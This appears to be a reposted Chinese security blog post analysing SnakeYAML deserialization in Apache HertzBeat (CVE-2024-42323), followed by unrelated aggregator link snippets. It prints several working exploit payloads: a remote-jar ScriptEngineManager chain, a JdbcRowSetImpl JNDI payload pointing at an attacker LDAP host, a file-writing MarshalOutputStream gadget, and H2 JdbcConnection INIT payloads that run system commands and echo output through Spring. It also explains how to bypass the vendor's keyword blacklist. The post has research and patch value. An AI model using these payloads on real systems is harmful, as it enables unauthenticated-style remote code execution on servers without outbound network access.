JDBC注入无外网(上):从HertzBeat聊聊SnakeYAML反序列化

上周日联合@Ar3h 师傅一起,在【代码审计知识星球】里发布了一个Springboot的小挑战:https://t.zsxq.com/tSBBZ,这个小挑战的核心目标是在无法连接外网的情况下,如何利用PSQL JDBC注入漏洞。我会分两篇文章来讲讲Java安全的不出网利用,第一篇文章会介绍最近遇到的一个实际案例,也就是Vulhub里的Apache Hertzbeat的后台代码执行漏洞(CVE-2024-42323);第二篇文章,来讲讲星球里这个小挑战的预期和非预期答案。

SnakeYAML反序列化历史

Apache HertzBeat是一个开源的实时监控告警工具,支持对操作系统、中间件、数据库等多种对象进行监控,并提供 Web 界面进行管理。

HertzBeat在解析YAML的时候使用了SnakeYAML,而SnakeYAML在满足如下两个条件时,将会存在反序列化漏洞(CVE-2022-1471):

  • • 版本<2.0

  • • 初始化Yaml对象时没有使用SafeConstructor

互联网上已经有很多关于SnakeYAML反序列化原理和利用的文章了,大部分的Payload都是基于ScriptEngineManager

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

我是一个比较喜欢考古的人,我翻了一下这个Payload的来龙去脉。它最早出现或者说被公开是在Moritz Bechler 2017年发布的marshalsec项目以及Paper中,marshalsec相信大家不陌生,几乎是和ysoserial并肩的Java反序列化开山鼻祖之作。

Moritz Bechler在paper中提出,使用JDK自带的ScriptEngineManager类可以加载来自于远程服务器的Jar包,进而通过这个方式执行任意字节码。他同时也提到了另一个使用JNDI来进行RCE的payload,也是很熟悉的类了:

!! com.sun.rowset.JdbcRowSetImpldataSourceName: ldap://attacker/objautoCommit: true

对于2017年的安全研究者来说,marshalsec提出的这些漏洞以及Gadgets让所有人眼前一亮,相比于ysoserial仅关注Java默认的反序列化漏洞而言,marshalsec填补了json、xml、yaml、hessian等第三方反序列化领域的空缺。

这时候我就有点好奇了,既然2017年就有人提出了SnakeYAML的反序列化漏洞,为什么CVE编号是CVE-2022-1471?

这就不得不说到,SnakeYAML的作者Andrey Somov一直拒绝认为这是一个安全漏洞,直到2022年有好事之徒为这个反序列化漏洞申请了一个CVE编号(CVE-2022-1471),于是正反双方开始在这个issue里进行辩论。

Andrey Somov非常恼火于有太多“低质量”安全工具,一旦发现有项目依赖SnakeYAML就会报反序列化漏洞,而SnakeYAML当时没有针对这个问题发布任何修复建议或补丁。

他认为,100%的SnakeYAML使用场景下,解析的YAML都来自于可信的地方。况且SnakeYAML在十年前就提供了SafeConstructor()这个类来限制反序列化白名单以外的对象,所以这并不是一个安全漏洞,用户不需要“修复”漏洞。

不过,最后Andrey Somov还是屈服了,为了避免再被安全工具骚扰,他在2.0中“修复”了这个漏洞,修复方法是遵从“Secure by Default”原则——开发者不再需要手工调用SafeConstructor(),让其成为默认选项。

寻找SnakeYAML利用链

回到漏洞本身,我们其实可以发现,SnakeYAML反序列化的利用,实际上又是一个找Gadget的游戏。marshalsec作者在paper中提到的两个利用链都需要连接外网,第一个需要从http或者ftp地址下载jar包,第二个需要连接恶意JNDI服务器,我们可以找找看是否有更好的利用链。

寻找SnakeYAML Gadget的方法,我并不认为需要单独跑什么工具来从零挖掘,只需看看现在公开的漏洞中,是否有合适的类可以利用。SnakeYAML的利用链和Fastjson其实有点类似,我画了一个表格来描述他们二者的相似与不同点:

Fastjson

SnakeYAML

setter

getter

constructor

⭕(有条件)

SnakeYAML的利用链没有办法调用getter,所以可以看看fastjson中常用的那些不需要getter的利用链。

com.sun.org.apache.bcel.internal.util.ClassLoader:看似不需要使用$ref,但实际上调用JSONObject.toString()的时候触发了getConnection()才能执行字节码,所以实际上这个利用链是需要getter的。另外,bcel对Java版本要求比较高,参考我在《BCEL ClassLoader去哪了》这篇文章中的分析,8u251以后就不再有这个类。

com.sun.rowset.JdbcRowSetImpl:经典payload,但是需要利用JNDI注入,对网络和Java版本都有一定要求。

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:这个利用链实际上是marshalsec中先为SnakeYAML提出的,后来国内的安全研究者将其应用在了fastjson中。它的优点是可以直接执行字节码,不需要写文件和连接外网,缺点是c3p0这个第三方依赖用的并不多。

sun.rmi.server.MarshalOutputStream:@rmb122在《fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记》这篇文章里发现的fastjson写文件利用链。他在文中提到:

这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习。

对于有参构造函数来说,json的特性导致fastjson需要找到每个参数的名称才能进行初始化。在Java 8下,内部类没有符号信息,函数参数也就没有名称,导致这个利用链变得鸡肋。

但SnakeYAML对于构造函数并没有特殊要求,我们可以通过type + 参数列表的方式调用任意构造函数,这样让这个利用链能够在不同Java版本中生效。

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar"],false],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576]]

我们可以通过这个利用链写入Jar包,然后再利用前面说到的javax.script.ScriptEngineManager加载本地的Jar包,完成不出网的利用,这是第一个相对比较完美的利用链:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///success.jar"]]]]

利用JDBC注入执行命令

如果想要利用一个数据包完成命令执行,是否有可以利用的Gadget呢?

既然SnakeYAML可以调用构造函数,其实我最开始想到的是org.springframework.context.support.ClassPathXmlApplicationContext,使用ClassPathXmlApplicationContext来执行任意命令:

!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://example.com/spring.xml" ]

当然,ClassPathXmlApplicationContext也需要加载远程文件,如果无法连外网,我们也需要通过前面写文件再读取的方式来利用。

《Java安全攻防之老版本 Fastjson 的一些不出网利用》这篇文章中曾经提到fastjson可以借助H2的JDBC注入来利用:

[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource","url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}
]

这个POC初始化org.h2.jdbcx.JdbcDataSource后,再利用$[1].connection来调用getConnection(),触发JDBC注入。

SnakeYAML虽然并不支持调用getter,但我们也没必要把思路禁锢在getConnection()。跟进getConnection()后,我发现其实际上是org.h2.jdbc.JdbcConnection这个类的一个工厂函数:

@Override
public Connection getConnection() throws SQLException {debugCodeCall("getConnection");return new JdbcConnection(url, null, userName, StringUtils.cloneCharArray(passwordChars), false);
}

那么就简单了,直接利用SnakeYAML调用JdbcConnection的构造函数即可:

!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {}, "a", "b", false ]

优化YAML Payload,减少转义

我们来观察一下这个利用h2编写的POC,这里其实调用了org.h2.jdbc.JdbcConnection的构造函数,并传入了5个参数,他们分别是:

  • • JDBC的完整URL

  • • JDBC的属性列表,类型是Java中的Hashtable,对应到YAML中就是一个map

  • • 连接用户名

  • • 连接密码

  • • 是否禁止创建数据库(forbidCreation)

这里有一个值得关注的参数,forbidCreation,用于禁止创建新的数据库。还记得H2 Database Web Console的未授权访问漏洞导致的JDBC注入(CVE-2022-23221)吗?

这个漏洞的修复方法之一就是将forbidCreation默认值设置为true,禁止创建数据库。

当forbidCreation等于true时,必须在目标服务器上找到一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作,内存数据库jdbc:h2:mem也无法使用。

但幸运的是,JdbcConnection的构造函数支持让攻击者直接控制所有参数,所以直接将其设置为false即可。

另外,我们观察到,第一个参数URL中,由于要在INIT中执行多个SQL语句,所以我使用了反斜线对分号进行转义\;,但又由于整个URL位于YAML中的字符串中,所以还要再次对反斜线进行转义\\;,整个POC的可读性大大降低。

网上有一些文章说JDBC的INIT中不支持执行多个SQL语句,其实原因就是没有转义分号导致的,实际上这里并没有限制。

其实JdbcConnection构造函数的第二个参数是属性表,我们完全可以将INIT这种属性放到这里面,以减少URL参数中的转义,然后将YAML修改成我们更熟悉的样式:

!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServerINIT: |drop alias if exists exec;CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;CALL EXEC ();
- a
- b
- false

利用Spring方法制造回显

Apache Hertzbeat是基于Spring开发的应用,我们可以继续改造Payload,让其使用org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getResponse()拿到response,写入命令执行的结果:

!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServerINIT: |DROP ALIAS IF EXISTS EXEC;CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;CALL EXEC ();
- a
- b
- false

后续思考

Apache Hertzbeat在收到漏洞报告后,在v1.4.1版本中“修复”了这个漏洞:https://github.com/apache/hertzbeat/pull/1239。但其实这个补丁效果不大,其利用黑名单的方式禁用了“ScriptEngineManager”和“URLClassLoader”两个关键字:

但阅读本文你可以发现,我们使用的利用链完全不受到这个关键词的影响,更不用说我可以利用YAML中的一些语法绕过检查了。

按照这个PR的时间(2023年9月)来看,当年倔强的SnakeYAML作者也已经发布了2.0版本,通过直接升级版本号的方式就能解决这个问题;如果不能升级依赖,也可以使用SafeConstructor()来避免反序列化不安全的对象,但他这里还是选择了一个最差的方案。

好在v1.6.0版本中,Hertzbeat最终通过增加SafeConstructor修复了这个问题:https://github.com/apache/hertzbeat/pull/1611。

回顾本文提到的所有利用链,其中有一个org.springframework.context.support.ClassPathXmlApplicationContext我只提到了一嘴。这个类相信学习过Java安全的同学都非常熟悉,利用这个类真的需要连接外网吗?如果现在有如下Java函数,再无其他用户代码,是否可以不出网利用?

@Controller
publicclassIndexController {@ResponseBody@RequestMapping("/index")public String index(String name, String arg)throws Exception {Class<?> clazz = Class.forName(name);Constructor<?> constructor = clazz.getConstructor(String.class);Object instance = constructor.newInstance(arg);return "done";}
}

这个有点像PHP中的new $_GET[class]($_GET[arg]);,也是我文首说到的星球小挑战的预期考点。下一篇文章,我会分享一下这道题的官方解法与非预期解法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/76445.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QTreeWidget 手动设置选中项后不高亮的问题

当使用Qt编程QTreeWidget setCurrentItem() 方法设置 QTreeWidget 的当前项时&#xff0c;如果发现选中项显示为灰色而不是高亮状态&#xff0c;这通常是由以下几个原因导致的&#xff1a; 方法1. 焦点问题 • 确保 QTreeWidget 有焦点 • 解决方案&#xff1a; cpp treeWidge…

javaSE学习(前端基础知识)

文章目录 前言一、HTML1、< th >、< tr > 和 < td >标签&#xff1a;2、< button > 标签&#xff1a;3、< input type"text" >&#xff1a;4、< br >&#xff1a; 二、CSS1、选择器2、声明块3、常用属性及值 三、JS1、Vue 实例对…

c# 数据结构 链表篇 有关单链表的一切

本人能力有限,本文仅作学习交流与参考,如有不足还请斧正 目录 0.单链表好处 0.5.单链表分类 1.无虚拟头节点情况 图示: 代码: 头插/尾插 删除 搜索 遍历全部 测试代码: 全部代码 2.有尾指针情况 尾插 全部代码 3.有虚拟头节点情况 全部代码 4.循环单链表 几个…

蓝桥杯C++组算法知识点整理 · 考前突击(上)【小白适用】

【背景说明】本文的作者是一名算法竞赛小白&#xff0c;在第一次参加蓝桥杯之前希望整理一下自己会了哪些算法&#xff0c;于是有了本文的诞生。分享在这里也希望与众多学子共勉。如果时间允许的话&#xff0c;这一系列会分为上中下三部分和大家见面&#xff0c;祝大家竞赛顺利…

pipe匿名管道实操(Linux)

管道相关函数 1 pipe 是 Unix/Linux 系统中的一个系统调用&#xff0c;用于创建一个匿名管道 #include <unistd.h> int pipe(int pipefd[2]); 参数说明&#xff1a; pipefd[2]&#xff1a;一个包含两个整数的数组&#xff0c;用于存储管道的文件描述符&#xff1a; pi…

centos-stream-9上安装nvidia驱动和cuda-toolkit

这里写目录标题 驱动安装1. 更新系统2. NVIDIA GPU安装检查系统是否安装了 NVIDIA GPU2.1 首先&#xff0c;使用以下命令更新 DNF 软件包存储库缓存&#xff1a;2.2 安装编译 NVIDIA 内核模块所需的依赖项和构建工具2.3 在 CentOS Stream 9 上添加官方 NVIDIA CUDA 软件包存储库…

LDAP高效数据同步:Syncrepl复制模式实战指南

#作者&#xff1a;朱雷 文章目录 一、Syncrepl 复制简介1.1. 什么是复制模式1.2. 什么是 syncrepl同步复制 二、Ldap环境部署三、配置复制类型3.1. 提供者端配置3.2. 消费者端配置3.3.启动服务3.4.测试同步是否生效 四、总结 一、Syncrepl 复制简介 1.1. 什么是复制模式 Ope…

Linux 内核网络协议栈中的 struct packet_type:以 ip_packet_type 为例

在 Linux 内核的网络协议栈中,struct packet_type 是一个核心数据结构,用于注册特定协议类型的数据包处理逻辑。它定义了如何处理特定协议的数据包,并通过协议类型匹配机制实现协议分发。本文将通过分析 ip_packet_type 的定义和作用,深入探讨其在网络协议栈中的重要性。 …

QT Sqlite数据库-教程001 创建数据库和表-下

【1】创建带名称的数据库 #include <QtSql/QSqlDatabase> #include <QtSql/QSqlQuery> #include <QtSql/QSqlRecord> QString path QDir::currentPath(); QApplication::addLibraryPath(pathQString("/release/plugins")); QPluginLoader loader…

Cannot find module ‘vue‘ or its corresponding type declarations

在使用vue3vite创建新的工程时&#xff0c;在新增.vue文件时会出现Cannot find module vue这个错误。 只需要我们在项目中的.d.ts文件中添加以下代码即可 declare module *.vue {import { defineComponent } from vue;const component: ReturnType<typeof defineComponent&…

SSRF打靶总结

文章目录 一. PortSwigger1、本地服务器的基本SSRF2、基本的目标不是漏洞机3、Referer标头的外带SSRF4、简单黑名单的SSRF黑名单绕过思路&#xff1a; 5、重定向的SSRF6. 简单的白名单SSRF白名单绕过思路&#xff1a; 二、BWAPP1. SSRF 文件包含漏洞 | 内网探测2. XXE -> S…

STL-函数对象

1.函数对象 1.1 概念 重载函数调用操作符的类&#xff0c;其对象被称为函数对象 函数对象使用重载的&#xff08;&#xff09;时&#xff0c;行为类似函数调用&#xff0c;也成为仿函数 本质&#xff1a;函数对象&#xff08;仿函数&#xff09;是一个类&#xff0c;不是一…

多线程(Java)

注&#xff1a;本文为本人学习过程中的笔记 1.导入 1.进程和线程 我们希望我们的程序可以并发执行以提升效率&#xff0c;此时引入了多进程编程。可是创建进程等操作开销太大&#xff0c;于是就将进程进一步拆分成线程&#xff0c;减少开销。进程与进程之间所涉及到的资源是…

在 Dev-C++中编译运行GUI 程序介绍(三)有趣示例一组

在 Dev-C中编译运行GUI程序介绍&#xff08;三&#xff09;有趣示例一组 前期见 在 Dev-C中编译运行GUI 程序介绍&#xff08;一&#xff09;基础 https://blog.csdn.net/cnds123/article/details/147019078 在 Dev-C中编译运行GUI 程序介绍&#xff08;二&#xff09;示例&a…

【高校主办】2025年第四届信息与通信工程国际会议(JCICE 2025)

重要信息 会议网址&#xff1a;www.jcice.org 会议时间&#xff1a;2025年7月25-27日 召开地点&#xff1a;哈尔滨 截稿时间&#xff1a;2025年6月15日 录用通知&#xff1a;投稿后2周内 收录检索&#xff1a;EI,Scopus 会议简介 JCICE 2022、JCICE 2023、JCICE 2…

【Linux】Linux 操作系统 - 03 ,初步指令结尾 + shell 理解

文章目录 前言一、打包和压缩二、有关体系结构 (考)面试题 三、重要的热键四、shell 命令及运行原理初步理解五、本节命令总结总结 前言 本篇文章 , 笔者记录的笔记内容包含 : 基础指令 、重要热键 、shell 初步理解 、权限用户的部分问题 。 内容皆是重要知识点 , 需要认真理…

Python: sqlite3.OperationalError: no such table: ***解析

出现该错误说明数据库中没有成功创建 reviews 表。以下是完整的解决方案: 步骤 1:创建数据库表 在插入数据前,必须先执行建表语句。请通过以下任一方式创建表: 方式一:使用 SQLite 命令行 bash 复制 # 进入 SQLite 命令行 sqlite3 reviews.db# 执行建表语句 CREATE T…

VSCode CLine 插件自定义配置使用 Claude 3.7 模型进行 AI 开发

一个互联网技术玩家&#xff0c;一个爱聊技术的家伙。在工作和学习中不断思考&#xff0c;把这些思考总结出来&#xff0c;并分享&#xff0c;和大家一起交流进步。 本文介绍如何在 Visual Studio Code (VSCode) 中安装和自定义配置 CLine 插件&#xff0c;并使用 Claude 3.7 模…

【VSCode配置】运行springboot项目和vue项目

目录 安装VSCode安装软件安装插件VSCode配置user的全局设置setting.jsonworkshop的项目自定义设置setting.jsonworkshop的项目启动配置launch.json 安装VSCode 官网下载 安装软件 git安装1.1.12版本&#xff0c;1.2.X高版本无法安装node14以下版本 nvm安装&#xff08;github…

linux shell编程之条件语句(二)

目录 一. 条件测试操作 1. 文件测试 2. 整数值比较 3. 字符串比较 4. 逻辑测试 二. if 条件语句 1. if 语句的结构 (1) 单分支 if 语句 (2) 双分支 if 语句 (3) 多分支 if 语句 2. if 语句应用示例 (1) 单分支 if 语句应用 (2) 双分支 if 语句应用 (3) 多分支 …